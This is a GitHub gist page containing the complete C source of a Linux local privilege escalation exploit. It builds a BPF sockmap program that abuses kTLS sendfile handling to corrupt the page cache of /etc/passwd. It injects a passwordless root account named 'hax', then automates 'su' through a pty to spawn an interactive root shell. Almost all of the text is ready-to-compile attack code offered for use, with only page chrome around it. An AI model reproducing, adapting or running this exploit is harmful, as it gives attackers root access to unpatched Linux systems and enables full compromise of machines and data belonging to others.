Skip to content

Instantly share code, notes, and snippets.

@birdie-github
Forked from lcfr-eth/sockmap_lpe_ktls.c
Created May 23, 2026 14:03
Show Gist options
  • Select an option

  • Save birdie-github/eed25f2a5a67b771c62e7b187d91d13b to your computer and use it in GitHub Desktop.

Select an option

Save birdie-github/eed25f2a5a67b771c62e7b187d91d13b to your computer and use it in GitHub Desktop.
slopped up
/*
* sockmap_lpe_ktls.c — full LPE via kTLS + sockmap page cache corruption
*
* https://lore.kernel.org/stable/20260517121626.406516-1-rollkingzzc@gmail.com/
*
* Works on ALL kernels 4.18+ (including 6.5+ where sendpage was removed).
*
* Chain: sendfile → tls_sw_sendmsg(MSG_SPLICE_PAGES)
* → tls_sw_sendmsg_splice → sk_msg_page_add(msg_pl, page)
* → bpf_exec_tx_verdict(msg_pl)
* → SK_MSG: push_data (desync bitmap) → pull_data → write
*
* 1. Back up /etc/passwd
* 2. Corrupt page cache to inject hax::0:0::/root:/bin/sh
* 3. su hax → root shell
* 4. Restore /etc/passwd from root shell
* 5. Drop to interactive root shell
*
* Requires: CAP_BPF + CAP_NET_ADMIN (5.6+) or CAP_SYS_ADMIN (pre-5.6)
* tls kernel module loaded
*/
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/bpf.h>
#include <linux/tcp.h>
#include <linux/tls.h>
#include <pty.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/select.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <termios.h>
#include <unistd.h>
#ifndef __NR_bpf
#define __NR_bpf 321
#endif
#ifndef SOL_TLS
#define SOL_TLS 282
#endif
#ifndef TCP_ULP
#define TCP_ULP 31
#endif
#define PAGE_SIZE 4096
#define PUSH_LEN 64
#define PAYLOAD "hax::0:0::/root:/bin/sh\n"
#define PAYLOAD_LEN 24
#define BACKUP_PATH "/tmp/.passwd_bak"
#define HAX_USER "hax"
struct bpf_insn_p {
uint8_t code; uint8_t dst_reg:4; uint8_t src_reg:4;
int16_t off; int32_t imm;
};
#define I(C,D,S,O,M) ((struct bpf_insn_p){.code=(C),.dst_reg=(D),.src_reg=(S),.off=(O),.imm=(M)})
#define MOV_R(d,s) I(0xbf,d,s,0,0)
#define MOV_I(d,i) I(0xb7,d,0,0,i)
#define ADD_I(d,i) I(0x07,d,0,0,i)
#define LDX_DW(d,s,o) I(0x79,d,s,o,0)
#define STX_W(d,s,o) I(0x63,d,s,o,0)
#define ST_W(d,o,i) I(0x62,d,0,o,i)
#define JNE_I(d,i,off) I(0x55,d,0,off,i)
#define JGT_R(d,s,off) I(0x2d,d,s,off,0)
#define CALL(id) I(0x85,0,0,0,id)
#define EXIT_() I(0x95,0,0,0,0)
#define LD_MAP_FD(d,fd) I(0x18,d,1,0,fd), I(0,0,0,0,0)
static long bpf_(int cmd, union bpf_attr *a, unsigned sz)
{
return syscall(__NR_bpf, cmd, a, sz);
}
static int build_prog(int dbg_fd, uint32_t payload[], int payload_words)
{
struct bpf_insn_p prog[128];
int i = 0;
prog[i++] = MOV_R(6, 1);
prog[i++] = ST_W(10, -4, 1);
/* debug[0] = 1 (entry) */
prog[i++] = ST_W(10, -8, 0);
prog[i++] = LD_MAP_FD(1, dbg_fd); prog[i++] = I(0,0,0,0,0);
prog[i++] = MOV_R(2, 10); prog[i++] = ADD_I(2, -8);
prog[i++] = MOV_R(3, 10); prog[i++] = ADD_I(3, -4);
prog[i++] = MOV_I(4, 0);
prog[i++] = CALL(2);
/* push_data(ctx, 0, 64, 0) — desync copy bitmap */
prog[i++] = MOV_R(1, 6);
prog[i++] = MOV_I(2, 0);
prog[i++] = MOV_I(3, PUSH_LEN);
prog[i++] = MOV_I(4, 0);
prog[i++] = CALL(90);
prog[i++] = MOV_R(7, 0);
/* debug[1] = push retval */
prog[i++] = STX_W(10, 7, -4);
prog[i++] = ST_W(10, -8, 1);
prog[i++] = LD_MAP_FD(1, dbg_fd); prog[i++] = I(0,0,0,0,0);
prog[i++] = MOV_R(2, 10); prog[i++] = ADD_I(2, -8);
prog[i++] = MOV_R(3, 10); prog[i++] = ADD_I(3, -4);
prog[i++] = MOV_I(4, 0);
prog[i++] = CALL(2);
int jmp1_idx = i;
prog[i++] = JNE_I(7, 0, 0);
/* pull_data(ctx, 64, 128, 0) — access desynced page */
prog[i++] = MOV_R(1, 6);
prog[i++] = MOV_I(2, PUSH_LEN);
prog[i++] = MOV_I(3, PUSH_LEN * 2);
prog[i++] = MOV_I(4, 0);
prog[i++] = CALL(63);
prog[i++] = MOV_R(8, 0);
/* debug[2] = pull retval */
prog[i++] = STX_W(10, 8, -4);
prog[i++] = ST_W(10, -8, 2);
prog[i++] = LD_MAP_FD(1, dbg_fd); prog[i++] = I(0,0,0,0,0);
prog[i++] = MOV_R(2, 10); prog[i++] = ADD_I(2, -8);
prog[i++] = MOV_R(3, 10); prog[i++] = ADD_I(3, -4);
prog[i++] = MOV_I(4, 0);
prog[i++] = CALL(2);
int jmp2_idx = i;
prog[i++] = JNE_I(8, 0, 0);
prog[i++] = LDX_DW(0, 6, 0);
prog[i++] = LDX_DW(1, 6, 8);
prog[i++] = MOV_R(2, 0);
prog[i++] = ADD_I(2, payload_words * 4);
int jmp3_idx = i;
prog[i++] = JGT_R(2, 1, 0);
for (int w = 0; w < payload_words; w++)
prog[i++] = ST_W(0, w * 4, payload[w]);
/* debug[3] = 1 (wrote) */
prog[i++] = ST_W(10, -4, 1);
prog[i++] = ST_W(10, -8, 3);
prog[i++] = LD_MAP_FD(1, dbg_fd); prog[i++] = I(0,0,0,0,0);
prog[i++] = MOV_R(2, 10); prog[i++] = ADD_I(2, -8);
prog[i++] = MOV_R(3, 10); prog[i++] = ADD_I(3, -4);
prog[i++] = MOV_I(4, 0);
prog[i++] = CALL(2);
int exit_idx = i;
prog[i++] = MOV_I(0, 1);
prog[i++] = EXIT_();
prog[jmp1_idx].off = exit_idx - jmp1_idx - 1;
prog[jmp2_idx].off = exit_idx - jmp2_idx - 1;
prog[jmp3_idx].off = exit_idx - jmp3_idx - 1;
char log_buf[131072] = {0};
union bpf_attr a = {0};
a.prog_type = 16;
a.insns = (unsigned long)prog;
a.insn_cnt = i;
a.license = (unsigned long)"GPL";
a.log_buf = (unsigned long)log_buf;
a.log_size = sizeof(log_buf);
a.log_level = 1;
int fd = bpf_(5, &a, sizeof(a));
if (fd < 0) {
fprintf(stderr, "[-] prog load (%d insns): %s\n", i, strerror(errno));
int len = strlen(log_buf);
fprintf(stderr, " %s\n", len > 500 ? log_buf + len - 500 : log_buf);
}
return fd;
}
static int do_corrupt(const char *target, uint32_t payload[], int payload_words)
{
union bpf_attr ma = {0};
ma.map_type = 2; ma.key_size = 4; ma.value_size = 4; ma.max_entries = 8;
int dbg = bpf_(0, &ma, sizeof(ma));
memset(&ma, 0, sizeof(ma));
ma.map_type = 15; ma.key_size = 4; ma.value_size = 4; ma.max_entries = 2;
int smap = bpf_(0, &ma, sizeof(ma));
if (dbg < 0 || smap < 0) {
fprintf(stderr, "[-] map create: %s\n", strerror(errno));
return -1;
}
int pfd = build_prog(dbg, payload, payload_words);
if (pfd < 0) return -1;
union bpf_attr aa = {0};
aa.target_fd = smap; aa.attach_bpf_fd = pfd; aa.attach_type = 7;
if (bpf_(8, &aa, sizeof(aa)) < 0) {
fprintf(stderr, "[-] attach: %s\n", strerror(errno));
return -1;
}
fprintf(stderr, "[+] BPF sockmap ready\n");
/* TCP pair */
int ls = socket(AF_INET, SOCK_STREAM, 0);
int one = 1; setsockopt(ls, SOL_SOCKET, SO_REUSEADDR, &one, 4);
struct sockaddr_in ad = {.sin_family=AF_INET, .sin_addr.s_addr=htonl(0x7f000001)};
if (bind(ls, (void *)&ad, sizeof(ad)) < 0) {
fprintf(stderr, "[-] bind: %s\n", strerror(errno));
return -1;
}
listen(ls, 1);
socklen_t al = sizeof(ad); getsockname(ls, (void *)&ad, &al);
int c = socket(AF_INET, SOCK_STREAM, 0);
connect(c, (void *)&ad, sizeof(ad));
int s = accept(ls, NULL, NULL); close(ls);
/* sockmap FIRST, then kTLS */
int key = 0;
union bpf_attr ua = {0};
ua.map_fd = smap; ua.key = (unsigned long)&key; ua.value = (unsigned long)&c;
if (bpf_(2, &ua, sizeof(ua)) < 0) {
fprintf(stderr, "[-] sockmap update: %s\n", strerror(errno));
return -1;
}
if (setsockopt(c, IPPROTO_TCP, TCP_ULP, "tls", sizeof("tls")) < 0) {
fprintf(stderr, "[-] TCP_ULP tls: %s (try: modprobe tls)\n", strerror(errno));
return -1;
}
struct tls12_crypto_info_aes_gcm_128 crypto = {0};
crypto.info.version = 0x0303;
crypto.info.cipher_type = 51;
if (setsockopt(c, SOL_TLS, TLS_TX, &crypto, sizeof(crypto)) < 0) {
fprintf(stderr, "[-] TLS_TX: %s\n", strerror(errno));
return -1;
}
struct timeval tv = {.tv_sec = 2};
setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
/* sendfile target through kTLS+sockmap */
int tfd = open(target, O_RDONLY);
if (tfd < 0) { fprintf(stderr, "[-] open %s: %s\n", target, strerror(errno)); return -1; }
off_t offset = 0;
ssize_t sent = sendfile(c, tfd, &offset, PAGE_SIZE);
close(tfd);
if (sent <= 0) {
/* splice fallback for older kernels */
tfd = open(target, O_RDONLY);
if (tfd < 0) return -1;
int pp[2]; pipe(pp);
ssize_t n = splice(tfd, NULL, pp[1], NULL, PAGE_SIZE, 0);
if (n <= 0) { close(tfd); return -1; }
sent = splice(pp[0], NULL, c, NULL, n, 0);
close(pp[0]); close(pp[1]); close(tfd);
if (sent <= 0) return -1;
}
fprintf(stderr, "[+] sent %zd bytes through kTLS + sockmap\n", sent);
/* drain */
usleep(200000);
char dr[PAGE_SIZE * 2]; ssize_t total = 0;
while (total < (ssize_t)sizeof(dr)) {
ssize_t r = recv(s, dr + total, sizeof(dr) - total, 0);
if (r <= 0) break;
total += r;
}
close(c); close(s);
/* check BPF debug */
uint32_t d[4] = {0};
for (int k = 0; k < 4; k++) {
union bpf_attr la = {0};
la.map_fd = dbg; la.key = (unsigned long)&k; la.value = (unsigned long)&d[k];
bpf_(1, &la, sizeof(la));
}
fprintf(stderr, "[*] BPF: ran=%u push=%d pull=%d wrote=%u\n",
d[0], (int)d[1], (int)d[2], d[3]);
if (d[3] != 1) {
fprintf(stderr, "[-] BPF write stage failed\n");
return -1;
}
/* verify */
char ck[64] = {0};
int cfd = open(target, O_RDONLY);
if (cfd >= 0) { read(cfd, ck, sizeof(ck) - 1); close(cfd); }
if (memcmp(ck, payload, 4) != 0) {
fprintf(stderr, "[-] page cache not corrupted\n");
return -1;
}
return 0;
}
static void relay_pty(int master)
{
struct termios orig;
tcgetattr(STDIN_FILENO, &orig);
struct termios raw = orig;
cfmakeraw(&raw);
tcsetattr(STDIN_FILENO, TCSANOW, &raw);
fd_set fds;
int maxfd = master > STDIN_FILENO ? master : STDIN_FILENO;
for (;;) {
FD_ZERO(&fds);
FD_SET(STDIN_FILENO, &fds);
FD_SET(master, &fds);
if (select(maxfd + 1, &fds, NULL, NULL, NULL) < 0) {
if (errno == EINTR) continue;
break;
}
if (FD_ISSET(STDIN_FILENO, &fds)) {
char c;
if (read(STDIN_FILENO, &c, 1) <= 0) break;
if (write(master, &c, 1) <= 0) break;
}
if (FD_ISSET(master, &fds)) {
char buf[4096];
ssize_t n = read(master, buf, sizeof(buf));
if (n <= 0) break;
write(STDOUT_FILENO, buf, n);
}
}
tcsetattr(STDIN_FILENO, TCSANOW, &orig);
}
static int do_escalate(void)
{
int master;
pid_t child = forkpty(&master, NULL, NULL, NULL);
if (child < 0) { perror("forkpty"); return -1; }
if (child == 0) {
execlp("su", "su", HAX_USER, NULL);
_exit(127);
}
char buf[4096];
int pos = 0;
int authenticated = 0;
for (int i = 0; i < 50; i++) {
usleep(100000);
fd_set fds;
struct timeval tv = {.tv_sec = 0, .tv_usec = 200000};
FD_ZERO(&fds); FD_SET(master, &fds);
if (select(master + 1, &fds, NULL, NULL, &tv) > 0) {
ssize_t n = read(master, buf + pos, sizeof(buf) - pos - 1);
if (n > 0) pos += n;
buf[pos] = 0;
}
if (strcasestr(buf, "assword")) {
write(master, "\n", 1);
usleep(500000);
fd_set fds2;
struct timeval tv2 = {.tv_sec = 1};
FD_ZERO(&fds2); FD_SET(master, &fds2);
if (select(master + 1, &fds2, NULL, NULL, &tv2) > 0) {
ssize_t n = read(master, buf + pos, sizeof(buf) - pos - 1);
if (n > 0) pos += n;
buf[pos] = 0;
}
if (strcasestr(buf, "failure") || strcasestr(buf, "denied") ||
strcasestr(buf, "incorrect") || strcasestr(buf, "sorry")) {
fprintf(stderr, "[-] su rejected empty password\n");
kill(child, SIGTERM);
waitpid(child, NULL, 0);
close(master);
return -1;
}
authenticated = 1;
break;
}
if (strstr(buf, "$ ") || strstr(buf, "# ")) {
authenticated = 1;
break;
}
}
if (!authenticated) {
fprintf(stderr, "[-] su didn't respond\n");
fprintf(stderr, " got: %.*s\n", pos > 200 ? 200 : pos, buf);
kill(child, SIGTERM);
waitpid(child, NULL, 0);
close(master);
return -1;
}
fprintf(stderr, "[+] got root shell — restoring /etc/passwd\n");
char cmd[256];
snprintf(cmd, sizeof(cmd), "cp %s /etc/passwd 2>/dev/null && echo RESTORED || echo FAIL\n", BACKUP_PATH);
write(master, cmd, strlen(cmd));
usleep(500000);
{
char tmp[4096];
fd_set fds3;
struct timeval tv3 = {.tv_sec = 0, .tv_usec = 500000};
FD_ZERO(&fds3); FD_SET(master, &fds3);
while (select(master + 1, &fds3, NULL, NULL, &tv3) > 0) {
if (read(master, tmp, sizeof(tmp)) <= 0) break;
FD_ZERO(&fds3); FD_SET(master, &fds3);
tv3.tv_sec = 0; tv3.tv_usec = 200000;
}
}
fprintf(stderr, "[+] dropping to root shell\n\n");
write(master, "id\n", 3);
usleep(200000);
relay_pty(master);
kill(child, SIGTERM);
waitpid(child, NULL, 0);
close(master);
return 0;
}
int main(void)
{
if (getuid() == 0 && geteuid() == 0) {
fprintf(stderr, "[!] already root\n");
return 0;
}
fprintf(stderr, "[*] sockmap LPE — kTLS + page cache corruption (all kernels 4.18+)\n\n");
/* back up /etc/passwd */
char orig[PAGE_SIZE];
int fd = open("/etc/passwd", O_RDONLY);
if (fd < 0) { perror("open /etc/passwd"); return 1; }
int orig_len = read(fd, orig, sizeof(orig));
close(fd);
int bfd = open(BACKUP_PATH, O_CREAT|O_TRUNC|O_WRONLY, 0600);
if (bfd >= 0) { write(bfd, orig, orig_len); close(bfd); }
fprintf(stderr, "[+] backed up /etc/passwd (%d bytes)\n", orig_len);
/* payload: "hax::0:0::/root:/bin/sh\n" */
uint32_t payload[] = {
0x3a786168, 0x303a303a, 0x722f3a3a,
0x3a746f6f, 0x6e69622f, 0x0a68732f
};
fprintf(stderr, "[*] corrupting /etc/passwd page cache via kTLS + sockmap...\n");
if (do_corrupt("/etc/passwd", payload, 6) < 0) {
fprintf(stderr, "[-] exploitation failed\n");
return 1;
}
fprintf(stderr, "[+] /etc/passwd corrupted: injected '%s' (uid=0, no password)\n", HAX_USER);
fprintf(stderr, "[*] escalating via su %s...\n", HAX_USER);
if (do_escalate() < 0) {
fprintf(stderr, "[-] auto-escalation failed — try: su %s (empty password)\n", HAX_USER);
return 1;
}
fprintf(stderr, "\n[*] cleaning up\n");
unlink(BACKUP_PATH);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment